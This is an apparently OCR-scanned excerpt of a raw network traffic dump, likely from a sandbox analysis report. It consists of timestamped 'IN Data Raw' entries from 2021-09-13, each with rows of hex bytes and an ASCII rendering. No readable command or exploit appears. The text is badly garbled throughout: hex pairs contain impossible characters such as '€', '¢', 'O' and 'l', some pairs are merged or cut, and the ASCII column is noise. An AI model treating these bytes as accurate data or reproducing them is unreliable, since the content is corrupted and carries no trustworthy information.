58 73 58 3d 21 da b1 95 5f 13 8¢ ¢5 1d 5b 40 1a 8d 93 ea 01 Oe 46 ed 39 85 60 aa 24 18 ba cb 32 44 7b d1 bd d8 7f 9c Ob
75 €9 c35a b8 77 6d b2 6d 46 88 7f 23 19 69 11 76 5¢c d8 a6 a3 2c 7e ce 4a 24 1c 12 {7 35 c¢2 95 b7 07 0f 05 2d 50 84 83
0d 51 bc e0 68 9e 12 c5 cd 09 el ef Of 9¢c 65 c4 05 10
Data Ascii: I" off noL{f5a?;DJ.[t,vIkOP"i&h9Zw70op}mG"o8YAYcftd@ @'bPoXsX=!_[@F9 $2D{uZwmmF#iv\,~J$5-PQhe

2021-09-13 23:07:18 UTC 129 IN Data Raw: 94 77 Of be a8 58 71 12 5f c2 4d 93 46 b0 1a 80 6f fc €9 db 5d 06 71 9c cd af 5d ¢4 60 71 b2 9b 33 3d b8 00 2d
1a 34 8b 9b 2e 91 5¢ e7 73 ac d7 82 17 b2 7a d4 e6 4e 19 de ca 2a 11 41 99 b6 c9 37 24 86 0a d5 4c 35 50 71 0f 87 63
8e c6 fc 42 ab 66 d3 86 d2 85 07 f7 60 b3 56 68 94 20 85 44 81 cf fd 47 74 73 84 94 dd 4a 14 84 7d d7 8a 4e d2 e4 3c e3
9d ac f4 83 57 41 67 7a b1 88 bd d9 1b e0 ec cb df cc 2d eb f3 d0 62 b1 93 be 52 el 54 0f f2 e6 fc d4 34 11 el ad 61 dO 2c
4b 50 a9 5b 93 7c fd 01 e7 d4 ba 33 1a ad 40 74 b8 1c ff a7 29 92 98 3d 6d b6 96 7a 7d ac d5 fe 18 af 49 55 bd 85 48 50
fe Oe fO Of 84 b2 4d a7 c4 70 58 00 b0 7b 72 ac 9a 8f 45 4b 6b 10 ff ac 58 d9 eb e6 d2 f6 48 ad b8 a9 5b ae a2 19 12 50 a5
28 47 17 a5 39 2a 73 12 8a b7 53 f0 b3 1b 25 1f 6b
Data Ascii: wXq_MFo]q] q3=-4.\szN*A7$L5PqcBf Vh DGtsJ}N<WAgz-bRT4a,KP[|3@t)=mz} UHPMpX{rEKkXH[P(G9*s
S%k

2021-09-13 23:07:18 UTC 130 IN Data Raw: 2a 3a 93 15 ac 4f 76 4f 0a c2 24 f3 d6 5e 7b 43 Ob b3 a6 63 95 7e 9c 8f 25 2 30 67 11 fe 01 74 3c 08 26 4e ea
89 42 49 3a 99 3 44 24 a0 d7 75 c6 93 be ec b2 22 03 8¢ 2d cd 0a 5f b3 53 70 01 f0 d0 49 b4 c1 e2 81 af 57 {7 07 8e 21
68 0b da ed fb 32 25 d8 fa 50 de aa c5 37 16 2b e2 85 ad 37 6d ed 56 ba 1a 1d de 80 4e 37 cb c5 22 22 d9 bb 8f 52 9d 0b
€3 c9 83 f2 df 59 bb a2 1b f0 93 11 39 ba 9d al d4 51 b3 c3 52 35 3a 27 9d 80 6¢ 00 b4 79 b5 86 a7 14 85 35 49 22 97 ab
2c fb b8 19 07 7e 34 ac Of c8 66 74 7a 5 46 84 d8 9c c6 2¢ 07 ff 2 b2 56 66 97 70 d3 bb be 5f 9a bd 4b 22 8e 68 11 Oe fa
€0 46 47 62 3b eb 5e 13 a0 03 43 99 01 d7 41 ed be 5¢ fa 15 al 5f fd 87 fa 24 7d 3f 12 cd 52 64 75 25 83 f9 e1 87 64 99
46 17 08 95 56 a2 93 28 17 62 8c fd fe 11 18 f4 e3
Data Ascii: :OvO$MCc~0%0gt<&NBI:D$U"-_SpIWIh2%P7+7mVN7""RYIQRS:ly5I" ~A4ftzF, Vfp_K'hFGb:ACA\_$}?Rd
u%dFV (b

2021-09-13 23:07:18 UTC 131 IN Data Raw: a8 0f b3 Ob 7b ed e8 10 99 ca 07 13 d9 39 e7 2f 4e e8 00 f7 b5 a3 ac bb 72 69 20 15 c6 dc b3 51 61 4d 88 18
9d db 16 c7 fe 1e 76 1b 93 d3 87 38 bd d2 51 7b 8b 6a 45 86 49 db 79 26 e2 ce 45 61 36 64 ce 68 66 b4 89 a4 b7 89 ed
al 2573 d5 7e 78 ae ¢8 85 26 62 a5 d9 c7 43 84 d9 29 07 aa 9f 5f 7b 53 29 ¢3 9b 9d 9a b9 e7 26 00 42 cf 01 a8 b4 51 b4
a0 5363 60 7d 13 85 b7 10 3e c9 b8 f1 ce 99 46 70 c3 6f ab 34 19 67 78 a8 fa 9e 31 1c 2e 56 99 16 5Se ef 85 6b 93 4f 4d
c5f4 55 4a a2 75 cc 16 ed ab 35 76 e6 13 d6 35 fd 3b 98 9e 9f 1e 78 21 98 4e 69 d8 57 cb f1 08 d2 6f 8c 65 82 80 cd a5
3279 5d ec 18 22 f0 51 c0 27 19 f0 be 6¢ b9 30 b9 da Oa Oe cf 38 fa ef 87 f2 e7 5f 8b b9 4e 30 9b ba af 10 76 b3 3c cd 75
€359 87 e3 eb 2d e5 6¢ 20 bf d6 el 60 60 2b 65 2c 6a e8
Data Ascii: {9/Nri QaMv8Q{jEly&Ea6dhf%s~x&bC)_{S)&BQSc }>Fpo4gx1.V kOMUJu5v5;x!NiWoe2y]'Q'l08_NOv<uY-|
Ssaf

2021-09-13 23:07:18 UTC 132 IN Data Raw: dd 89 60 52 86 67 6e c1 7a b7 e8 33 a8 17 eb 8d 85 18 9e cb 51 2b e0 06 21 6¢ 3e 8¢ 29 c0 99 bb 10 19 Oe 7f
5d b9 81 23 06 fd f1 86 c8 5 ff 75 a4 99 5e e4 69 50 al dc 97 Ob 44 dd 9e ae 89 40 84 73 69 68 22 c7 f8 38 45 47 62 0d
e6al3cce2caa370clddb2eead5c67129d 92 a5 8a 30 e3 8e 29 4b 38 d5 b8 53 9e 0a 21 11 a4 5d 99 e4 60 59 a9
8a 5e 5f 1e 2e f9 df 44 e4 e8 1b el d2 0d f0 67 2c b7 b2 da 69 00 7f f4 5d eb c0 18 43 87 7d 17 3b 9d f1 53 2b 44 49 89 2f
c4 ab 42 ac a7 ea 7c 82 c2 12 49 ec c2 07 c9 2e 8a cl 1le 08 1e 9a 8f 4b 69 f6 1a df 53 37 5b 15 6e a2 c¢8 32 52 08 52 5a
eaeb 5d ec dd e8 80 24 9b 52 4d d8 60 69 46 6¢ 1a fd 07 c8 cc 63 24 05 d8 b4 68 69 34 fe 6e 58 94 14 b0 5b 6¢ bd 73 4f
6b a3 15 a2 39 1b 93 bl 76 el a6 07 51 e9 31 78 38 14 72
Data Ascii: ‘Rgnz3Q+!1>)[#uNiPD@sih"8EGbp\g0)K8S!]'Y~_.Dg,i]C};S+DI/B|I.KiS7[n2RRZ]$RM iFlc$hianX[IsOk9vQ1x8r

2021-09-13 23:07:18 UTC 134 IN Data Raw: 3e 63 f1 e8 63 48 a7 81 c0 b8 2f d7 a0 89 e6 cb db d1 46 16 6d db 9c fd 32 65 1f b2 98 20 88 38 21 76 b8 1a
24 ¢6 cc 93 bc a4 3e 1f ce 41 3a e5 96 ee 9b 6a Oe 23 97 28 80 78 7f 51 99 60 8f 2b e2 6f b7 cb 45 13 ff 9a 7a 7c fb 7c Of
39 al 3f bd 6¢c b9 80 eb 16 97 69 b6 48 80 4e f1 81 0d 45 eb 29 4f 8d e7 10 48 cc a5 e2 bl c8 01 1f a9 fc 25 7f 8c 18 18 52
bf a2 d1 77 5b f0 95 fb e4 3d d8 3 f9 b4 2f 8c 8a 54 98 b2 fc 84 4f 43 95 94 e8 16 59 1f c6 ea 12 52 c2 19 fe 9c e7 0a 03
€0 90 ba 0f 53 f7 14 68 b9 61 aa 04 0b f2 fc 7 40 57 3d d9 6f 8a fb 54 32 6f b0 9a d5 be ba ed 40 4e 47 a6 3d 32 a7 d3 c6
63 d7 a9 f2 41 42 2d 6f 78 d5 27 f9 37 ae f0 49 f3 5d b7 92 19 74 61 30 84 98 71 7d c1 8¢ 3a c6 bb 3b el a4 e4 17 18 4a
bf 59 cc 4a 04 43 7e f2 18 d8 28 a2 03 cd 42
Data Ascii: >ccH/Fm2e 8Iv$>A:j#(xQ +0Ez||9?lIHNE)OH%RwW[=/TOCYRSha@W=0T20@NG=2cAB-ox7I]ta0q}:;JYJC~(B

2021-09-13 23:07:18 UTC 135 IN Data Raw: cf Of f0 67 51 80 97 2a 99 77 ed 4f a3 14 d7 18 cb d1 7c 49 e4 d9 6b 63 34 24 3f 1c 1e 23 be c2 5e b4 c9 1a 82
d3 44 48 ec d5 01 45 6a 8b b3 6¢ cc Oa ae 42 c0 99 9e 23 c2 a3 4c b3 ef 91 d6 4f 1e 16 45 e5 a5 a6 1c ea c5 d8 d8 52 e8
ee 8d d7 50 d6 25 f1 93 3a b3 f7 be db €0 24 26 ed 53 68 38 fb 8a 88 59 94 14 b1 9b 22 ce 01 88 66 8e da de 48 7b 92 bl
02 57 e3 bc be 89 59 8b a9 93 fe e5 €6 9b 3b 44 51 e4 Oc 82 71 0b 59 18 9d 28 75 0d 9f 01 le e4 05 c2 6e 34 31 70 85 22
40 43 07 3b 55 11 €0 63 5b 3c 9f a7 9a 89 ec a0 96 df b2 5f 65 bc dc 47 b7 aa 2d f3 20 d4 de 6b 1d 96 56 00 6b 3¢ 54 13
5d aa ed 84 67 81 f2 e0 8e ea f6 b4 82 d0 99 Ob 7d 69 4 68 f5 d1 76 e7 82 47 6a Of b3 32 b7 9c 8d 64 95 be b3 ce a2 3b
e7 df 12 fc db aa 76 5e 5¢ 55 1f 80 4f 14 c6 31 f9 94
Data Ascii: gQ*wO|lkc4$?#"DHE]jIB#LOERP%:$&Sh8Y"fH{WY;DQqY (un41p"@C;Uc[<_eG- kVk<T]g}ihvGj2d;v"\UO1

2021-09-13 23:07:18 UTC 136 IN Data Raw: 9d 50 Oc d1 ac 7c 09 03 6d 22 b1 9e 43 ca 19 58 b0 9c 9 05 55 4f ad 65 30 61 eb 01 63 6d 58 Oc f2 77 45 f9 81
4e c5 b5 7f 12 45 04 b2 8e ea fO a6 42 4f d7 a9 34 fb 54 45 1b 76 8f d5 be 6f cc 62 7c af 46 c1 f4 58 57 cf 81 20 56 0d ae
84 01 e3 0d d8 a6 f8 37 ac e0 ad f1 5d b7 9e 55 f0 99 27 b9 6¢ 12 5e b7 3e 31 10 78 ab 95 56 1b e 85 4e 1a 6f fO 7b ba
ce c6 0d Of c2 e5 52 fe b3 51 d3 e4 97 06 b9 dO 04 85 8e 0f 89 84 69 8a ef 4c d3 43 65 ed 06 a0 a6 36 07 da 8e d0 16 2f
9c c4 40 67 c4 7ac5 9d b4 e5 10 a7 b9 3f c6 66 23 65 09 82 32 25 60 fb 1b 78 2b 8¢ 37 94 b7 Ob aa 94 8d df bd 51 7a 61
10 f1 4f 62 3e 1e 84 al 8b 3e cc dc 20 27 57 78 4c ed 67 27 f4 bb 8a 47 65 e2 d4 b4 1b 13 99 6e 5c 76 17 52 28 8a 23 4e
48 00 f7 bl 6d 7 c8 bf 05 04 59 fa 49 19 90 fb f4
Data Ascii: PJm"CXUOe0acmXwENEBO4TEvob|FXW V7]U'I">1xVNo{RQiLCe6/@gz?f#e2% x+7QzaOb>> "WxL
g'Gen\WR#NHmMYI
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2021-09-13 23:07:18 UTC 137 IN Data Raw: fa Oa 6b e2 2e b1 1c f3 89 e2 98 78 e6 4d 3e 23 85 e5 5f ae Oc €0 54 93 54 b6 e4 49 e5 d1 41 54 9a 42 36 f2 af
bc 63 f0 f2 a7 ee fb 80 4e cc 96 a0 45 65 be 92 Ob 17 bb 24 ab 8d 4c 36 7d a0 9c 29 dd e5 c6 21 d6 28 85 ff f6 cd el e7
51 9e ac 52 be 58 2c 8f 78 a9 el 71 e3 dc a5 41 87 9c 80 95 f0 c7 04 35 25 7e 99 e5 ff d8 2f 2b 03 5d Oa c6 1e 76 c9 57
99 16 9a 33 03 3a 38 cf 86 Oe 5d 8b 65 35 5d 22 2f 61 05 f1 1b 5f Of 83 52 d2 ef 35 48 cb 3c 5d 82 Oe ad c3 5e e2 Oe 96 f9
96 a6 21 9a 31 1c 99 7 98 77 d6 1d b2 26 b4 d4 57 c7 b6 c8 ed d3 af Ob 1e e9 b4 6e 7c b7 40 c7 cc 58 91 9d 2f 26 03 c6
c5e9 14 2b 95 ea db dd 09 9d 51 1a 98 d5 el 2f ce 7a 1d 18 3f 11 26 f4 ba 7a c6 5f 28 8d c5 69 7b f4 6e 50 6f dd 6d Of cd
8b 71 33 de 55 61 33 Oc dc 6¢ 92 3f 2b 52 27 38
Data Ascii: k.xM>#_TTIATB6cNEe$L6})!(QRX,xqA5%~/+]vW3:8]e5]"/a_R5H<]MN1w&Wn|@X/&+Q/z?&z_(i{nPomqg3Ua3I?
+R'8

2021-09-13 23:07:18 UTC 139 IN Data Raw: 38 33 1e 68 f9 e5 ae 56 6¢ 38 b8 04 Oe d4 f3 ac 4d 7c 8f bl 4e f2 43 26 1b 1d 86 16 08 3e 2e 76 ef 08 ac 58 Of
ec db 32 9d 67 2b 44 ec 08 98 dc 9d fe d1 37 57 00 92 2f 8b 53 8d ba 54 d6 f4 07 01 8d 03 60 41 01 36 14 86 2d d5 c4 e0
7b f0 24 63 a5 81 20 27 20 f5 Of a4 e6 04 ff 15 f8 35 d8 df a6 c6 e3 45 97 6f 4b 04 7b 51 d9 8c 11 55 40 1a e3 4e 92 7 34
Oe 58 84 65 ff c9 Oe b1 30 89 a0 7d fe 2a Oc e3 Oa 2e 87 bf 08 ce 43 5d 6a Oc c1 23 5a e3 91 1e 12 6b e2 cc Oc c1 19 af
4d 47 2a 00 78 20 22 38 89 75 ae 65 60 cb 8f {7 4a e2 7a 5¢ 8f 3e f2 b1 d6 b1 8¢ f3 15 ¢8 42 7b 5b 4b 16 cc 2d Oa 3f 20 54
48 6a 43 5e 1e 28 cd 99 40 ed 8d 4e 1a 5d d5 0d 2e el 03 47 e4 e8 33 8¢ c7 b9 0f 67 3b 6b 43 4c 93 00 05 18 d4 ae bc
33 ae c9 ca b6 e4 ff e0 0a 2b 1c b5 50 a9 dc 73 ba
Data Ascii: 83hVI8M|NC&>.vX2g+D7W/ST A6-{$c ' SEoK{QU@N4Xe0}*.Cli#ZkMG*x "8ue’Jz\>B{[K-? TH|CN@N].G
3g;kCL3+Ps

2021-09-13 23:07:18 UTC 140 IN Data Raw: ed 2f fa 77 87 27 92 7e ff 84 a9 76 f1 80 6e cf 38 e4 98 99 af 6¢ 95 ba 6e 0f d1 97 26 90 bc b6 19 f5 64 d9 5a
ce ce 22 3d 3a 91 9f 26 fa 5d 68 7c 83 da 8a e0 47 33 a4 d9 ab 6e 75 a3 34 99 27 77 2a b1 74 70 69 65 ee €0 2e 04 54 7a
87 61 7598 9b ec 0d al 53 17 f1 59 d6 4d a7 71 80 ff 30 b4 77 e7 d3 aa 87 e2 ed 7b 3e 15 0a 4f b8 f1 32 24 94 ba 92 55
db 93 91 el e8 el 4d 98 28 bc 38 21 76 b8 5¢c 43 11 36 8¢ €6 9e a2 9b 4a 98 98 e4 96 98 b8 35 62 09 91 28 80 4b 37 a8
92 e4 c9 5e b6 fc b6 cb 44 Ob 9a 9b 7a 7c 88 67 4b a8 7c 4d 2e 6d b9 4d 25 1c d9 45 39 4c 08 10 Of 7e f2 96 bf 85 09 6e
9e 06 a0 8a 6e a2 b5 48 b8 f3 06 78 6b 76 df 4e 18 aa 7 d0 63 40 87 30 41 5a 84 6d 5f 3d a4 73 b7 54 18 23 32 91 72 70
35e7 94 e2 4a 40 6e ec d2 6¢c e7 c7 76 d4 56 62 6d 1a 89
Data Ascii: /w'~vn8In&dZ"=:&]h|G3nu4'w*tpie. TzauSYMqOw{>02$UM(8!V\C6J5b(K7”Dz|gK|M.mM%EIL~nnHxkvNc@0
AZm_=sT#:rrp5J@nlvVbm

2021-09-13 23:07:18 UTC 141 IN Data Raw: ee a6 e6 Oe 69 41 1c Oe c6 65 4b b9 86 ce 43 51 91 d3 25 74 45 45 f9 6f 6b 68 df 6d 5f f9 af 4d 35 c6 6¢ 21 83
db 39 a6 al ba d3 a4 71 06 1b 2b b8 bf 5d 8f 41 ee 59 98 06 73 Oc b1 8a 98 1c 46 30 53 ee 25 ed 72 d7 e7 a2 eb 2e 53 eb
d7 32 ed 5f 5¢ 18 25 1e a2 4b f1 27 5f 43 cd 09 94 7e 6¢ fd 3d 5e 70 85 33 1a 26 1d 34 98 48 55 eb 28 1f d3 9¢c 7c 49 e4
c7 7351 a0 11 7c ee e0 dc f8 ca fd @9 b4 a6 cf df b3 6a 1c 3b cc 38 17 30 bc 93 14 a7 94 fd 85 45 d9 5e 3e a9 c8 d8 eb c1
5d 0a 7b 17 98 1a 5a a6 24 0d 9b dc €8 80 22 a8 b2 4d 1d c9 9e 02 84 07 7e 72 18 4f 10 84 73 61 f6 5f fO 7c 93 b6 a7 6b
eb 08 ce 3d 4d 26 fe d5 98 67 07 b9 84 e0 e7 ba 11 €9 07 79 73 7 c2 c4 96 f9 e4 €6 9e e3 28 69 5e 0f d4 c9 2f e6 5d 19
2383 5d 78 5d 09 e0 05 41 c2 7b af bc e4 29 33 c1
Data Ascii: iIAeKCQ%tEEokhm_M5I!9g+]AYsF0S%r.S2_\%K'_C~I="p3&4HU(|IsQ|j;80E >|{Z$"M~rOsa_|k=M&gys(i*/
#IXIAD3

2021-09-13 23:07:18 UTC 143 IN Data Raw: 8a 22 02 76 el a2 €9 40 3c 69 6a 71 18 56 8b 6b 92 26 01 74 e2 9f c7 26 cf f6 81 dd 55 da 4f 8e f9 a9 18 07 1c
46 c9 8e e9 f2 bb 84 el 0f 25 db 55 ca e6 4e 4f 26 cc 40 5e al c1 8e 5d 3f fb 3b b9 7e cd b0 24 e7 50 29 24 b6 24 f4 b4 3c
92 €9 08 el 33 b8 90 d4 bf 85 55 e8 cf b8 Ob 72 cd e4 9d 09 39 b6 d3 d6 a9 3c 55 98 c0 df 74 Oc 5¢ 97 6d 47 31 aa 82 Oc
a0 ad ce 76 68 06 63 6d 12 04 32 87 10 Oe 7e 38 Ob 10 06 14 92 a4 13 2a 66 7f 3f bc b0 5¢c 24 bd c6 9b ba a7 67 88 7c ca
9f 0d fd 73 cc 68 55 67 5f 23 bd 16 19 b9 c9 5e 41 00 17 bb 54 18 Oe c8 9f 98 22 48 a2 a0 c3 aa 80 9c 4c 97 6¢ bf 92 fc f8
1c c6 63 33 4a d2 5e 6e d2 c5 3c ae b8 Oc eb 44 de 65 13 fa f2 56 77 35 34 d8 f0 1e 71 fe Oe 54 e4 9b 0Ob fa fe 4e 33 00 30
€6 8c be al b2 03 f4 5¢ 1d 89 84 f5 e2 dO fd
Data Ascii: "v@<ijqVk&t&UOF%UNO&@"]?;~$P)$$<3Ur9<Ut\mG1vhcm2~8*?2\$g|shUg_#"AT"HLIc3J"n<DeVw54qTN30\

2021-09-13 23:07:18 UTC 144 IN Data Raw: be 67 a3 07 55 48 56 65 70 4d 77 4b dc d1 20 c7 7f ca 1d 10 78 4b 68 f6 73 3d 53 37 1f ed 45 72 83 93 cd 7c
4407 ef eb e5 66 dc 63 d0 a7 6e f8 cb d5 34 c2 85 3¢ 58 9f 7e 23 67 17 ae df ae cf ef f5 f8 45 24 27 11 e6 3b 7a 5a db e8
21 1b 6e 6a 34 70 ec 19 42 76 17 eb 94 26 0b 32 7e 21 04 74 ee 47 9a b7 67 6e d8 a6 59 75 77 dd 5d 95 fe c6 fc 13 7d Oa
97 47 3d 20 be 1d cf 5a 2e 56 fd d8 b2 c8 84 18 77 91 df 16 6f 6f 70 ec d7 52 €0 85 29 92 bc 09 87 ¢3 1d da 91 55 e8 b2
b4 e2 1f 38 39 50 ¢5 ab 70 d5 5d d9 f2 96 81 21 08 9b 19 06 6a df de 68 e5 84 0b 72 eb 2c 2e 02 a9 41 f6 56 f4 4c 64 9b
56 ea ef 48 03 7c 9e 6a f2 5a d0 71 cfc9 7a 63 68 11 44 cd 35 f3 eb 6e 61 7c 11 fe 84 35 de 8d ac fe 83 9f ae d8 b2 e7 2e
04 46 ad 15 61 8b 7b 16 47 86 c2 d5 a7 e4 f2 31 7e
Data Ascii: gUHVepMwK xKhs=S7Er|Dfcn4<X~#gE$';zZ!nj4pBv&2~1tGgnYuw]}G= Z.VwoopR)U89Pp]ljhr, AVLdVH]j
ZqgzchD5na|5.Fa{G1~

2021-09-13 23:07:18 UTC 145 IN Data Raw: 49 bd ab 49 74 ff ef ea 5b a9 14 9b 13 01 8f fd 09 b1 7c 60 df dc 7d Ob 2c 9e fO ec 64 25 7 6a 73 2b 3b 47 59
99 8f c9 el 00 95 dO 1f b4 4b c6 ba b6 0d b3 30 8 37 4d 6a fe 85 6¢ a0 07 62 7b 63 4c bb c0 6f 59 35 7c 42 81 26 cf 1c 54
ad 1e 03 73 03 a6 cc e7 04 c9 bd 4f e7 5f 31 77 01 cd 42 1c 08 a7 85 12 8f 24 23 e4 49 84 97 f8 34 10 4c a7 f5 2c 5b b5 f3
faea 5b 81 8c 42 a2 38 e7 fa 7c de 4f 3f fb f7 39 b3 a8 24 a9 34 88 ab a0 27 18 24 f1 cf 15 cc Oc b1 d5 65 00 1f 3a a7 d5
Oe 8e 8e 05 18 91 cb eb 8d 90 Oa b9 e4 81 ae 5e 34 c9 7e df 5b a0 31 9c eb 35 fd 0d cf 72 d2 1a af 14 c5 5a bc 8e 86 d9
€0 3e 2e 13 05 6e Of 3d 06 98 5a 82 83 99 69 36 26 d6 3c c6 7a 27 51 09 99 20 b4 53 70 7 62 30 28 4f b9 ee 3b ab d2 79
45 84 27 fd ¢8 9c c4 31 95 20 06 80 65 b8 d8
Data Ascii: IIt[|'},d%js+;GYKO7Mjlb{cLoY5|B&TsO_1wB$#I4L,[[B8|0?9$4'$e: 4~[15rZ>.n=Zi6&<z'Q SphO(O;yE'l e

2021-09-13 23:07:18 UTC 146 IN Data Raw: 34 cf 86 a2 64 85 83 0d c8 af 9f a8 23 43 93 46 c6 68 e8 86 1b 5d c5 05 45 84 92 71 21 42 15 e7 25 93 b1 48
7896 e2 bl cb 47 17 84 Oc 7c 1e Oc 12 93 df 87 25 8b cf dO 6b 5a 7e a6 9d el 1b 5a b9 3e 8a 04 a6 ec 83 72 72 31 e6 94
2b 2a 49 e5 92 ca ea 1d a7 9c e7 01 6¢ db 1f el 7e 2d 45 43 3e c¢7 80 5d 7f d5 94 04 69 f4 7a b6 70 bc 3b 92 cc 7c ff 54
4571 14 02 55 06 9e 39 95 81 65 d2 93 89 5f f3 36 b5 5¢c 51 ae 5f 5f f6 1e 87 06 5f 25 ca 27 6d 63 4b 59 40 f2 12 85 9c cf
bd 55 17 fd d5 f6 c4 4f 26 09 59 a0 34 77 f9 4f 41 a6 f5 86 7a 69 69 7e €6 50 b5 90 bb c9 b1 76 8a 96 06 ea 05 bb 62 e4
7b 59 00 c5 76 93 5b 87 7f 3a 28 6 f3 f5 14 9e 61 06 82 76 ee 88 10 82 a2 2c f0 1c al 15 4d 57 a7 da bf 1e 59 27 df 7d a0
ad a6 10 cc fc be a4 8c 37 19 b7 2¢ 56 43 8d 71 6¢
Data Ascii: 4d#CFh]Eq!B%HxG|%kZ~Z>rr1+*|I~-EC>]izp;|TEqU9e_6\Q__ %'mcKY@UO&Y4wOAzii~Pvb{YV[:(av,MWY"
}7,vCal

2021-09-13 23:07:18 UTC 147 IN Data Raw: 1b 05 73 b4 b8 2f d5 e8 47 e8 ae ba 68 92 40 e9 ce 87 b2 21 f9 f4 a6 f3 cf a9 71 89 ef ce f0 68 28 d2 1f fc 53
26 be 30 fe 1f e8 f9 ad 4a 15 f4 ¢3 09 fd f9 c1 dc af fb 31 c2 20 Ob 28 1f c9 d5 el ec 22 46 1f el 6f 77 7a 5d 71 23 4e 86 5f
0Oc 48 1c ed cc f2 c4 96 72 4f 26 33 fe 28 31 30 04 68 84 29 7 a5 04 9c 73 64 2d 86 91 85 4b 91 b8 03 1c c9 ad d7 0d 86
8d 61 3d 69 52 2f 5b 55 ¢7 78 7b c¢3 9e 9d 3e 64 33 b7 79 b0 90 ff 45 17 ad 99 Ob 7d e0 71 16 1d 46 cb 65 1f ab fc 88 e9
b3 f2 08 90 40 21 35 d6 b0 c3 c6 18 53 fe f5 00 bc da 5d d0 8c 65 5¢ ef b0 f0 94 6d 9a 42 e3 26 5d 3c df 91 c4 7f 03 02 8f
68 56 eb 1c b9 9e 8 34 7f 4a ce c5 ce 08 3e 52 e4 ba 49 cf cc 10 7e 9b a8 ¢8 df 71 57 8¢ 63 9a 15 3c d5 76 c5 da f8 92
38 e7 9a a5 bb 82 84 df 75 14 aa 9f 5f 19 8f
Data Ascii: s/iIGh@!gh(S&0J1 ("Fowz]g#N_HrO&3(10h)sd-Ka=iR/[Ux{>d3yE}qFe@!5S]e\mB&]<hV4J>RI~qWc<v8u_
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2021-09-13 23:07:18 UTC 148 IN Data Raw: 22 7d 05 23 a7 44 95 df 40 b2 2a 4d 75 65 1d 0d d5 83 3e 25 6d a5 83 e4 10 90 53 d4 74 d1 68 10 ec 25 fc 7c
4115 20 cf 1c d6 55 ae 6d c5 af 59 cc 4a c7 63 03 5 eb 5f 30 68 fc 32 bd 12 a5 67 8e b7 76 03 81 a6 5f ec 80 35 89 ef 3e
cd 40 56 Oe 19 Oc Oa d5 5b al 8d c8 1d 39 91 ee 7d de 4f a6 1b a9 83 24 7c f0 55 fc b9 5f 73 1e 87 29 1f 27 b9 db dd 2f 1b
8d bf 5¢ ca 2a 19 7b ff cb 1d 8¢ 17 8e 1b f1 4f 5b b7 5a 74 67 9e 26 cb 2e 52 5d {7 da 73 9f 79 40 5f ac 15 9b 10 22 d4 76
0f 67 37 95 8f 93 36 d9 d9 82 62 76 3a 7a 18 c7 90 8b 00 e6 fd bf d9 3a 4c dd 9e 96 f5 08 4b 19 97 35 e0 Oa a3 68 7f 51
77 ae f1 6a fO 6b f4 09 42 c2 01 1f 1f 58 ¢8 76 4b 69 50 5b 99 74 0f 36 e5 67 37 9f 69 07 Oe 32 b9 b7 bb 2b b9 a9 5c 8f 28
30 be 98 06 7e 03 d5 17 93 f0 56 bb 2a 01 0d
Data Ascii: "}#D@*Mue>%mSth%|A UmYJc_0h2gv_5>@V[9}0%$|U_s)\*{O[Ztg&.R]sy@_"vg76bv:z:LK5hQwjkBXVKiP[
t6g7i2+\(0~V*

2021-09-13 23:07:18 UTC 150 IN Data Raw: 8b 54 64 3f 86 8a a3 66 f7 86 51 71 15 09 b4 42 8 ea b9 56 88 b5 c7 4d 2e 00 32 fb 6¢ d1 18 43 f4 f2 60 20 b2
b2 dd e7 46 a3 3b 95 95 ee 3f ce 86 2b Oe 39 4e 17 46 01 60 f7 07 d6 Of 7a 4d 88 53 86 17 d4 45 87 4d 04 97 7c 52 fa fO
189859 37 c3 7 00 4e 92 fb cc 31 8e 5f 81 1b 53 c2 ba 67 e4 b5 95 4f 48 76 a6 9c f9 a9 c0 09 b6 cd 10 8b b8 33 9d 63
bf 9e dd Oc 9a 9f e7 97 3c 10 69 67 74 16 9d 57 3a e4 26 16 43 62 75 98 d5 34 49 d2 el 3c 4d ce 13 0a f7 10 26 c5 f6 f1
¢6 50 03 8¢ ¢5 6a 73 9c 0d c2 5f d5 b8 83 88 37 17 03 6a 4b 8b f9 7d 19 29 af 39 dd fd 30 58 3d 76 cc 64 75 de 0f 36 91 fc
b3 63 cf 49 1a d3 cc 9c b0 2d db c3 2¢ 1f 2f 6b 64 34 81 01 f8 49 d4 c8 c3 c4 42 03 ea 9b 7a 7c cb eb c3 8d c4 ea 88 7b
de 23 97 17 40 5e al e4 ec 6¢ f0 81 0d 44 2b 92 3¢
Data Ascii: Td?fQqBVM.2IC" F;?+9NF zMSEM|RY7N1_SgOHv3c<igtW:&Cbudl<M&Pjs_7jK})90X=vdu6cl-,/kd41Bz|{#
@"ID+<

2021-09-13 23:07:18 UTC 151 IN Data Raw: 09 23 00 40 a8 26 33 f2 36 10 00 a2 25 29 36 4d 1f 1f 9a cd 83 60 f2 8f 86 01 al 35 5d f6 31 62 88 ab 66 18 f1
26 b6 e8 03 e1 59 89 3b 7a 6a 0b 46 ce 04 1e db 04 be bb 44 b4 c5 e2 c1 08 f1 f2 70 fb 1f 87 59 36 89 fc 7a 60 83 €8 bd
8851 07 ce 37 8b ec c4 1a 65 41 14 cc f5 5a c0 e2 0f 36 31 7b 4c a9 al 72 33 9d cb 05 dd 86 9b 62 3 fd 8a 63 a9 9c 19
73303 d4 e7 d5 bf b9 58 7b d2 e3 c4 d4 2e 21 91 c5 1a el 54 74 6e 6d 39 99 b0 6 86 a9 el a7 57 82 f9 91 d6 7b 7f 8a
Oe fO ab 2b f5 5f ce 99 ff 70 f4 d4 ae fc 1f 13 ac ea ed 98 68 b9 da e5 f5 1d a7 35 34 d6 92 5e 5a 36 b4 db 90 ab 4a 14 7a
e3d4 5¢c 30 e8 18 57 b2 8d 03 1e 66 el 96 b5 bc Oe 9d 17 99 5b b9 57 e3 37 97 2e d2 10 1a bd 50 ad 44 ff 4b 27 2e 3d
28 24 1 35 05 ff 82 95 a0 4b 24 05 d8 18 21 cb 7a 47
Data Ascii: #@&36%)6M5]1bf&Y;zjFDpY 6z’ Q7eAZ61{Lr3bcsX{.ITthmOW{+_ph54°Z6Jz\0Wf[W7.PDK'.=($5K$!zG

2021-09-13 23:07:18 UTC 152 IN Data Raw: 8b f0 5f 34 57 1f 2d 75 53 fd 13 1c 4e 6b d7 24 69 d4 6a b6 41 1c 9d 4d f7 99 7b e8 f2 el a5 b3 52 dd 4e a7 26
1b b3 13 76 7c f8 f1 32 1c ae 6d 90 dc 9e 6f f2 d2 68 34 b4 28 6a d7 43 44 89 33 €9 a0 a0 c1 fe 35 e2 15 1le 54 03 ec ca
